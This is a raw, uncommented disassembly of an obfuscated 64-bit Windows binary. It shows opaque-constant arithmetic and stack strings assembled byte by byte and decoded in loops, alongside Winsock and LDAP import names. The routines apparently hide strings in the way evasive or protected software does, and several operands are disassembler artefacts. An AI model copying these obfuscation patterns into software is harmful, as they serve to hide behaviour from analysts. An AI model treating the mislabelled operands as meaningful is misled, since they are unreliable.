movabs rdx, 0xae9eeddbebeab9ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
jmp 0x14010cbad
movabs rcx, 0xeb8597a731fef358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14010cd33
movabs rcx, 0x83c64023613182eb
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6d
mov byte [rbp + r9 + 0x500], bl
jmp 0x14010cd42
movabs rdx, 0xc0ace9eea745bc59
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6f
add bl, dl
cmp r10, 2
jb 0x14010c6c1
movabs rdx, 0xde0c2c8109f88f16
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x14010cc7c
movabs rdx, 0xfd9393b9ed59f5c7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x71
jmp 0x14010c8c8
movabs rdx, 0x3a7a3d85336e2f35
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x73
jmp 0x14010c88d
movabs rdx, 0x33c36f9c105ddee
mov ecx, 0x3f
jmp 0x14010c903
movabs rdx, 0x4022e0c5071a175c
mov ecx, 0x3e
jmp 0x14010c932
movabs rdx, 0x7d098a904d2e50ca
mov ecx, 0x3d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010cbcd
movabs rdx, 0xb9f0345b93428a38
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010cd09
movabs rdx, 0xf6d6de26d956c3a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010cd06
movabs rdx, 0x33bd87f21f6afd14
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010cb12
movabs rdx, 0x70a431bd657f3682
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010cce3
movabs rdx, 0xad8adb88ab936ff0
mov ecx, Ordinal_60
jmp 0x14010c9af
movabs rdx, 0xea718553f1a7a95e
mov ecx, gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010cc7a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010c8f2
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
inc bl
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x80
je 0x14010cb45
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14010c9c6
movabs rdx, 0xbe84c54826972865
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3d
add bl, dl
cmp rdi, 1
jae 0x14010caee
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010ca76
movabs rdx, 0x22824a680ae93f4
mov ecx, Ordinal_46
jmp 0x14010c903
jne 0x14010c91a
movabs rdx, 0x1141253405749fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010cd33
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010c947
movabs rdx, 0xc42d6887fa43108c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010cbad
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010c964
movabs rdx, 0x8746bebcb42ed71e
mov ecx, reloc.WS2_32.dll_socket
jmp 0x14010c792
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010c993
movabs rdx, 0xd796b2628066442
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010cd06
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010c88f
movabs rdx, 0x56c56dc455c9b7f8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010ccc0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010c9f0
movabs rdx, 0x819e1b7ce082eef7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3f
jmp 0x14010cc7a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010ca1c
movabs rcx, 0x7d0c7e6545a7c1b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x43
jmp 0x14010cce3
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010ca46
movabs rdx, 0xd74f76edf5f55cf5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4d
jmp 0x14010cbad
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010c8ca
movabs rcx, 0x9a68cd22afe12387
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4f
jmp 0x14010cd33
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010ca93
movabs rdx, 0x885ad10ff4862118
mov ecx, Ordinal_46
jmp 0x14010c792
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010cab0
movabs rdx, 0xd1a6d3ae224974ce
mov ecx, Ordinal_50
jmp 0x14010c802
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010cacd
movabs rdx, 0x94c029e2dc353b60
mov ecx, Ordinal_50
jmp 0x14010c823
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010c6ec
movabs rdx, 0x1af2d64c500cc884
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14010c85d
movabs rdx, 0xa12582b5c3e455a8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x500]
add bl, r8b
add bl, dl
movabs rcx, 0x82b22dd020da38f1
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x69
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0x500], r8b
jmp 0x14010cd06
movabs rdx, 0x643ed8ea7dd01c3a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x500]
jmp 0x14010c79f
movabs rcx, 0x5c6e11042975a01f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x27
jmp 0x14010cd33
movabs rdx, 0x9954bacf6f89d98d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x25
add bl, dl
jmp 0x14010cc01
movabs rdx, 0xd63b649ab59e12fb
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x23
add bl, dl
movabs rdx, 0x45cb8404dac5ff83
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x6b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x500], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x27582f1f37bbe2cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x500], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010cd33
movabs rcx, 0x13220e65fbb24c69
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x21
jmp 0x14010cd09
movabs rdx, 0x43a35f5e5a176b8f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
add bl, dl
movabs rcx, 0xbf98d79b66ee725f
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x67
add cl, r8b
mov byte [rbp + r9 + 0x500], cl
jmp 0x14010ccc0
movabs rcx, 0xfa575cc02c5417d9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x11
inc r10
jmp 0x14010cce3
movabs rcx, 0x373e068b72685147
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xf
dec r9
jmp 0x14010cd42
movabs rcx, 0xb10b5a21fe90c423
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010cd42
movabs rcx, 0xa4a6014f16e1a9db
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x500]
add rax, r10
add r9, rax
inc r9
jmp 0x14010c255
movabs rcx, 0x2e14e4b24bbf14ed
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7b
jmp 0x14010c252
movabs rcx, 0x6afb8e7d91d34e5b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7d
jmp 0x14010c242
lea rdx, [rbp + 0x174ba0c]
jmp 0x14010cda9
lea rdx, [rbp + 0x16a9d55]
jmp 0x14010cda9
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x20]
call fcn.1400caa68
mov r12, rax
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.1400ca288
nop
lea rcx, [rbp + 0x1a0]
call fcn.1401aa90c
mov bl, al
lea rcx, [rbp + 0x1a0]
call fcn.140091ed0
test bl, bl
je 0x14010fd57
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1060]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x1c0], 0x45
mov byte [rbp + 0x1c1], 0x75
mov byte [rbp + 0x1c2], WSASetLastError
mov byte [rbp + 0x1c3], 0x66
mov byte [rbp + 0x1c4], 0x76
mov byte [rbp + 0x1c5], 0x64
mov byte [rbp + 0x1c6], Ordinal_46
mov byte [rbp + 0x1c7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1c8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x1c9], 0x7d
mov byte [rbp + 0x1ca], 0xa
xor eax, eax
mov dword [rbp + 0x1cb], eax
mov word [rbp + 0x1cf], ax
mov byte [rbp + 0x1d1], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0xe3cab7caa09e1080
mov r14d, 0x80
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
lea r15d, [r9 + 1]
cmp r9, 0x12
jae 0x14010d8d6
movzx r8d, byte [rbp + r9 + 0x1c0]
mov rdx, r8
cmp rdi, r9
ja 0x14010d8cd
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010cedb
movabs r11, 0x3b16ce24793c580
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
jmp 0x14010d17f
je 0x14010d856
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010d7d6
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010d77b
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010d72f
movabs r11, 0x3b16ce24793c580
cmp r10, r9
ja 0x14010d8c4
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x14010cf36
movabs rdx, 0x4d8dee8fdf1f3380
jmp 0x14010d14c
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010d723
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010d703
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010d6e1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010d6be
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010d69e
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010d68f
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010d3b9
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14010d3aa
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010d38b
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010d37c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14010d36d
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14010d34e
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14010d32e
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010d313
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14010d2f3
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x14010d2e4
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010cf91
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14010d8aa
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14010d888
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010d187
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14010d165
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14010d142
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14010d2d2
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14010d2c3
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010d27d
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010d252
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010d243
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x14010d224
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010d215
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010d206
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14010d1f7
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x14010d1e8
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14010d1d9
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010d1b9
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14010d1aa
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14010cf91
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x14010cf91
movabs rdx, 0x1561edcdd3c3c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
jmp 0x14010cf84
movabs rcx, 0xf9f345184e14b180
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
jmp 0x14010cf12
movabs rdx, 0xf2906b53beed2680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
jmp 0x14010cea3
movabs rdx, 0x6c6f747ef8f99c00
jmp 0x14010d52f
movabs rcx, 0x650c9aba69d21100
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d770
movabs rcx, 0x5da9c0f5daaa8600
jmp 0x14010d502
movabs rdx, 0x5646e7314b82fb00
jmp 0x14010d4db
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x14010d358
movabs rcx, 0x478133a82d33e500
jmp 0x14010d338
movabs rdx, 0x401e59e39e0c5a00
jmp 0x14010d489
movabs rcx, 0x38bb801f0ee4cf00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010d826
movabs rcx, 0x3158a65a7fbd4400
jmp 0x14010d460
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
mov byte [rbp + r9 + 0x1c0], bl
jmp 0x14010d880
movabs rcx, 0x177eac2a8ab2dd80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
cmp r10, 0x7a
jb 0x14010d270
movabs rdx, 0x78b1622884e0b100
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14010d74c
movabs rdx, 0x101bd265fb8b5280
jmp 0x14010d3ff
movabs rcx, 0x8b8f8a16c63c780
add rcx, r9
jmp 0x14010d3ca
movabs rcx, 0xd153975f3abb3500
jmp 0x14010d460
movabs rdx, 0xc9f0bd9aab93aa00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010d826
movabs rcx, 0xc28de3d61c6c1f00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
jmp 0x14010d686
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d7c4
movabs rcx, 0xb3c8304cfe1d0900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010d7c1
movabs rdx, 0xac6556886ef57e00
jmp 0x14010d4db
movabs rcx, 0xa5027cc3dfcdf300
jmp 0x14010d502
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010d770
movabs rdx, 0x963cc93ac17edd00
jmp 0x14010d52f
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14010d44d
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x14010d668
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x14010d545
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
cmp rdi, 0x1000
jae 0x14010d640
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x14010d5dc
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010d29a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010d476
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d871
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010d49f
movabs rdx, 0xa9e190a8dc8d7d00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010d7f4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010d4c8
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d7c1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010d4ef
movabs rdx, 0xc00a1df68a041e00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x14010d661
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010d518
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d773
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14010d3da
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010d74c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010d56e
movabs rdx, 0xe8a9cbaf9d5d9a80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x14010d749
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010d586
movabs rcx, 0xf76f7f38bbacb080
jmp 0x14010d70d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010d5af
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d6fb
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14010d413
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d86e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010d5f4
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x14010d460
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010d60c
movabs rdx, 0x3d9a94040ba45900
jmp 0x14010d2fd
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010d624
movabs rcx, 0x4c60478d29f36f00
jmp 0x14010d338
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010d29a
movabs rcx, 0x53c32151b91afa00
jmp 0x14010d4b2
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x1c0]
sub bl, al
add bl, r8b
add bl, dl
jmp 0x14010d799
movabs rcx, 0x877715b1a32fc700
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x1c0]
lea ebx, [r8 + rcx]
jmp 0x14010d7f4
movabs rcx, 0x90079678e7831680
jmp 0x14010d5c6
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x14010d7f1
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
jmp 0x14010d7c4
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
jmp 0x14010d7c1
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
jmp 0x14010d773
movabs rcx, 0x54f0c8546e46be80
jmp 0x14010d739
movabs rcx, 0x462b14cb4ff7a880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
add cl, r14b
mov byte [rbp + r9 + 0x1c0], cl
add r10, r15
sub r9, r15
jmp 0x14010d880
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
movabs rcx, 0x83c5a8cf5b9c0180
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
add r8b, r14b
mov byte [rbp + r9 + 0x1c0], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010d880
mov r8, rdx
movabs rcx, 0x19d9fa2ff50a6680
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r14b
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
add cl, r14b
movzx eax, cl
mov byte [rbp + r9 + 0x1c0], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
mov byte [rbp + r9 + 0x1c0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010d871
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r14b
movzx eax, byte [rbp + r9 + 0x1c0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010ce90
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
jmp 0x14010ce89
lea rcx, [r9 + rsi]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
jmp 0x14010ce79
lea rdx, [rbp + 0x148b3c0]
jmp 0x14010d8dd
lea rdx, [rbp + 0x9c7940]
jmp 0x14010d8dd
lea rdx, [rbp + 0x1c0]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1060]
call fcn.140089cb0
nop
cmp qword [rbp + 0x10e8], 0
je 0x14010fd4a
mov byte [rbp + 0xcd0], __WSAFDIsSet
mov byte [rbp + 0xcd1], 0xe1
mov byte [rbp + 0xcd2], 0xf2
mov byte [rbp + 0xcd3], 0xf6
mov byte [rbp + 0xcd4], 0xe6
mov byte [rbp + 0xcd5], 0x88
mov byte [rbp + 0xcd6], 0x46
mov byte [rbp + 0xcd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcd8], 0xea
mov byte [rbp + 0xcd9], 0xf6
mov byte [rbp + 0xcda], 0xee
mov byte [rbp + 0xcdb], 0xfe
mov byte [rbp + 0xcdc], 0xff
mov byte [rbp + 0xcdd], 0xed
mov byte [rbp + 0xcde], 0x87
mov byte [rbp + 0xcdf], Ordinal_143
mov byte [rbp + 0xce0], Ordinal_143
mov byte [rbp + 0xce1], 0x3d
mov byte [rbp + 0xce2], 0xfd
mov byte [rbp + 0xce3], Ordinal_60
mov byte [rbp + 0xce4], 0xe8
mov byte [rbp + 0xce5], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xce6], Ordinal_143
mov byte [rbp + 0xce7], 0x9d
mov byte [rbp + 0xce8], Ordinal_143
mov byte [rbp + 0xce9], 0x86
mov byte [rbp + 0xcea], 0x9f
mov byte [rbp + 0xceb], 0x9c
mov byte [rbp + 0xcec], Ordinal_50
mov byte [rbp + 0xced], 0xe8
mov byte [rbp + 0xcee], 0x9c
mov byte [rbp + 0xcef], 0x83
mov byte [rbp + 0xcf0], __WSAFDIsSet
mov byte [rbp + 0xcf1], __WSAFDIsSet
mov byte [rbp + 0xcf2], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcf3], 0x85
mov byte [rbp + 0xcf4], 0x84
mov byte [rbp + 0xcf5], r14b
mov byte [rbp + 0xcf6], Ordinal_41
mov byte [rbp + 0xcf7], 0xed
mov byte [rbp + 0xcf8], 0x9d
mov byte [rbp + 0xcf9], __WSAFDIsSet
mov byte [rbp + 0xcfa], __WSAFDIsSet
mov byte [rbp + 0xcfb], 0xe2
mov byte [rbp + 0xcfc], Ordinal_143
mov byte [rbp + 0xcfd], 0x98
mov byte [rbp + 0xcfe], 0xad
mov byte [rbp + 0xcff], 0xad
mov byte [rbp + 0xd00], Ordinal_32
mov byte [rbp + 0xd01], 0xc1
mov byte [rbp + 0xd02], 0xa7
mov byte [rbp + 0xd03], 0xb7
mov byte [rbp + 0xd04], 0xa5
mov byte [rbp + 0xd05], 0xa6
mov byte [rbp + 0xd06], 0xba
mov byte [rbp + 0xd07], 0xaa
mov byte [rbp + 0xd08], 0xa8
mov byte [rbp + 0xd09], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd0a], Ordinal_217
mov byte [rbp + 0xd0b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd0c], 0xe5
mov byte [rbp + 0xd0d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd0e], 0xc9
mov byte [rbp + 0xd0f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd10], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xd11], 0xb0
mov byte [rbp + 0xd12], 0xa5
mov byte [rbp + 0xd13], 0xa4
mov byte [rbp + 0xd14], 0xc9
mov byte [rbp + 0xd15], 0xb2
mov byte [rbp + 0xd16], 0xbb
mov byte [rbp + 0xd17], 7
mov byte [rbp + 0xd18], 0xf6
mov byte [rbp + 0xd19], 0xaa
mov byte [rbp + 0xd1a], 0xa9
mov byte [rbp + 0xd1b], Ordinal_200
mov byte [rbp + 0xd1c], 0xbe
mov byte [rbp + 0xd1d], 0xaf
mov byte [rbp + 0xd1e], 0x3f
